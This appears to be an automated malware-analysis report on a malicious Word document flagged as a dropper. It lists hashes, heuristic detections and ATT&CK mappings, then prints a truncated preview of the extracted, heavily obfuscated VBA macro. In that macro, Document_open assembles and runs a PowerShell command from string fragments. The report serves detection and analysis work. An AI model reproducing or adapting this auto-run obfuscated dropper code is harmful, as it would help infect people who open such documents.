Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3fdbd580b055e98c…

MALICIOUS

Office (OLE)

297.2 KB Created: 2018-07-11 22:53:00 Authoring application: Microsoft Office Word First seen: 2018-07-27
MD5: 1a27eccf2977a1317ec5fbf57af1fc2d SHA-1: 47cb18466d1f9907e8bd501bfc97bf9a70db8169 SHA-256: 3fdbd580b055e98c5cc239fa2deb4fcf8b18225355ae9cdba8010bfda3d84ece
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing a VBA macro. The 'Document_open' macro is configured to execute a command via the Shell() function. This indicates the document's primary purpose is to act as a dropper for additional malware. The macro's obfuscated nature and the presence of a ClamAV detection for 'Doc.Dropper.Agent' further support this assessment.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6607869-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6607869-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 36519 bytes
SHA-256: edc1ed6b42b554e32b13c6bc447869ffb8f8aed767c3e85a4fd7ffbbf77026b1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "wUlmUKuRFPjj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
   FzJqNX = (15467 - 91059 * 81832 * VlvvA)
   CHNnZl = (69274 - 75026 * 23534 * ldtXN)
IhIij = Application.Run("wtNcNLXhiwD", "" + DcuhlwfA + hPVbziZEuDKp + jDupzGzpCO + bPHoVqMKXWK + XauHAqWnsk + hWhJuWczD + UnbNEnrUu + wnNwCrmP + HGicn + ukDJzVEqiP + MsYmOhuJm + lTHsdBvBWCD + pHTnUo + UAwzDHRU + CbNasumRV + owNKPidira)
   IQoQX = (28180 - 46039 * 36419 * tkiTmT)
   uDIpWk = (3115 - 82457 * 63357 * znqScP)
End Sub


Attribute VB_Name = "XjEQjUEpv"
Function jDupzGzpCO()
On Error Resume Next
dmbBVp = (51723 - 50417 - 91963 / vSmjG)
   GmbrW = (92689 - 13754 - 75030 / HhRko)
   uUziwi = (44510 - 47946 - 2808 / BzZDmY)
OAnchzi = "" + KVzjHDc + ZcWVJur + "POWe"
NvJSh = wVzTXj / hwtBRE + (bXRXG + lWSwt * mLJjG - QvdDpw)
   BWDwDb = FPrjA / hMDcC + (ozizWR + iQDzn * ZpPpwL - YWCok)
BFswJo = "" + kbdAWjaipdm + GZDDZJuVY + "RSHe" + QBIjXiVEpmAv + XiLhTGTYzpEAlW + "ll " + IMOqkVXuGH + WiFiOHCajnEG + "  " + Chr(34) + "&" + BSbXwwvUdnjzL + QbMzlCVk + " ( $" + iUimVIIXtUFT + KmCARwOw + "ShEL"
Vslan = SLUTqV / oMQaOk + (vMzPY + NuijvI * afbjB - DCGzpZ)
   SMsJh = jiBlSd / hIfXb + (hFzsB + zAUSbX * URUIPz - EnWRzt)
iSHMEACWXa = "" + bGriIXdIt + BQYcoYi + "lid" + JkjYihGp + qvdzSboM + "[1" + wWiKzimidLQq + GrWSEbR + "]" + Chr(43) + "$s" + ifGYSFAzMjfKmB + wucLBtAfcr + "he" + WIYRIbz + KTYcLEHkqUpztI + "Ll" + ctpiavbivdDLN + BuilbEiq + "ID["
tLXjKC = nzZwM / DNdlqm + (JOpEmz + jzclTh * JDzVar - NoFNsw)
   Ziuizh = WTzLJb / UndfAu + (iQQvk + ajqtCH * XuqljO - hfYPhT)
   vlWlHc = rcjiK / TOrtj + (BwWoJn + PWFlt * AliKF - oBDTlV)
zPrwMzLALO = "" + kNvqivSim + EmcDIBjSazrv + "13"
kVqwk = ZIqjvX / ihUNzN + (zrKfB + aZRaah * FvOOuk - tBjWB)
   bwrBN = ZGSGj / RNccM + (WdZuDU + fjEsU * SJaDwa - YwLwUW)
sOAjOrqQpz = "" + PrkWIJEsLKwAS + PGOapmSGTNNUv + "]" + Chr(43) + "'" + izBjKapDYmACC + khtJTPnbtDwkRJ + "x')(" + IkXfzwjpRZDpo + QCVdjbloYrXI + " ["
riWsu = ukDLh / bNNkV + (hkbvu + RrCkzI * wEboh - iAmtom)
   TZwzFa = Dttvnt / CJJmuJ + (DAYftr + urmJC * wSGkrh - tKhtt)
   pYtcw = SfYAlw / stMzn + (Tjhwj + NWvwn * pDbbB - NqwRk)
ciaHrrwOF = "" + djCriJPZXUMjZI + mlLckCZv + "STri" + stTflwo + HkRUZjsiQ + "Ng]"
INmqhQ = juOCl / AjVGBr + (NJmMT + Ejqzz * hdcjFd - wLnMVq)
   Lhplvl = awaZW / MWpvRI + (OXAPc + tEawQ * jUtzB - BIKDd)
   ikJZGI = aNaKGi / QWGsiP + (BquXUR + trUJPO * HjtYc - OKrzd)
cZZkTD = "" + zmpzREhj + jZJWsSACJDqHT + "::J" + hPAtKtvkUaHOc + pzzFSbEf + "OI" + DbvbQrSSIkojp + loowlDXXzOtJOD + "N( '" + kkCHRAIEiow + YIHlKhnQiinfEw + "', [" + iEPwHDwmEd + kNwHDcYGlYE + "cHa" + MBFObMCujA + XnULUjjwHjVh + "r[]" + bZHlJAtXuCq + QjlDNNajpEu + "] ( "
jDupzGzpCO = "" + XZSjjXizlcnuq + AsSUwDQNVcHUE + OAnchzi + VNVRdTEOVTpd + zJWdnfz + BFswJo + ToHMwDZCiD + ZZYGTvdz + iSHMEACWXa + ZkHYTkqR + joBdVHIKwQLaj + zPrwMzLALO + jwXTkUoXMO + YkoLMmK + sOAjOrqQpz + XukMmSAlwzEI + mTwjUuQpPzCk + ciaHrrwOF + EwnWalMD + zBnlQOSw + cZZkTD
   JuESCk = JcTMX / WVqJi + (DqRnV + fBjwu * dtnJM - GzzrDz)
   NIKbZT = wuErHi / XifLi + (jdkMJ + DhGMm * BXAXr - YaRiz)
   CsOGp = VifkJC / thzMih + (Xifri + HiZAh * MaFLk - jzQdYC)
End Function
Function bPHoVqMKXWK()
On Error Resume Next
pPKFmR = uzjwZ / oFHlJ + (XDOjO + AiWRj * oBwhW - lTMjAE)
   hVLpw = zKbqbj / AljucT + (HYYHiK + qsoCJq * XfWjT - CiaHFp)
   rBaOL = OcOjYz / IQLsi + (XFLEA + XmHrFi * uEZBG - AvFYIQ)
VhaEXSna = "" + doXkPwIwDHnn + nnRqlcGMN + "36 " + bdzRCsJOIOz + aNPiTZjFtL + ",11" + nzPIaRaOKo + iAPiZADn + "6, 9" + PYNYsocUhRKzP + FhwZQOmuEDSKB + "7 ," + IALujrvCZmlpG + hlVlTSG + " 8" + dddJUadbpoJKl + BKfXnfZj + "4, 6" + WjoQLZC + QGNmizIKAR + "1,11" + wRMjJnibMEzkF + pLdOHYRDDnYzYi + "0 ,1" + OBOZOcjCmT + LJdhjFSz + "01"
kRiOI = lqKwrj / iqYiMi + (cnNJru + rNSLV * LRwvA - jRvIO)
TmRQfWuKMUU = "" + uqLbGUvawDV + mtdrkVi
... (truncated)

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